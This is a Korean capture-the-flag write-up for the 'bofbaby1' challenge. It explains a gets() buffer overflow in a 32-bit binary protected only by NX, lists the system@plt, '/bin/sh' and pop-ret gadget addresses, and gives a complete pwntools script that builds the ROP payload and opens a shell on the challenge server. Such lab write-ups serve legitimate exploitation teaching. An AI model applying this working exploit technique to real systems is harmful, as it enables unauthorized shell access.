본문으로 바로가기

[System] bofbaby1 / 100

category ICEWALL 2019. 7. 18. 23:11

Download: vuln

 

32bit ELF 바이너리 파일이고 보호기법은 NX만 걸려있다. 편하게 IDA로 디컴파일해서 로직을 확인한다.

 

간단한 ROP 문제이다.

"/bin/sh" 문자열이 global에 정의되어 있고 system 함수가 포함되어 있다. vuln 함수에서 gets로 인해 BOF 공격을 수행할 수 있고, system을 호출하면서 인자로 "/bin/sh"을 넘겨주면 무난하게 shell을 얻을 수 있다.

 

"/bin/sh"의 주소는 0x8048660이고 system@plt의 주소는 0x80483E0이다.

프로그램 자체에서 주소를 주기도 하지만 PIE가 걸려있지 않으므로 output을 처리하는 루틴을 구현하지 않아도 된다.

 

ROP를 위한 pop; ret; gadget은 rp++로 구하거나 gdb의 ropgadget을 써서 구하는 등 여러 경로로 구할 수 있다. 여기서는 rp++을 사용했다.

 

0x80483A5 또는 0x8048656을 사용하면 된다.

from pwn import *
import sys

if len(sys.argv) == 1 :
	p = process('./vuln')
else :
	p = connect('icewall-ctf.kr', 10200)

system_plt = 0x80483E0
pop_ebx_ret = 0x80483A5
sh_str = 0x8048660

payload = 'A'*(0x12+4)
payload += p32(system_plt)
payload += p32(pop_ebx_ret)
payload += p32(sh_str)

p.sendline(payload)

p.interactive()

 

'ICEWALL' 카테고리의 다른 글

[System] typing_practice / 200  (0) 2019.07.19
[System] fsb32 / 150  (0) 2019.07.19
[System] canary / 150  (0) 2019.07.19
[System] bofbaby2 / 120  (0) 2019.07.18
[System] command_injection / 100  (0) 2019.07.18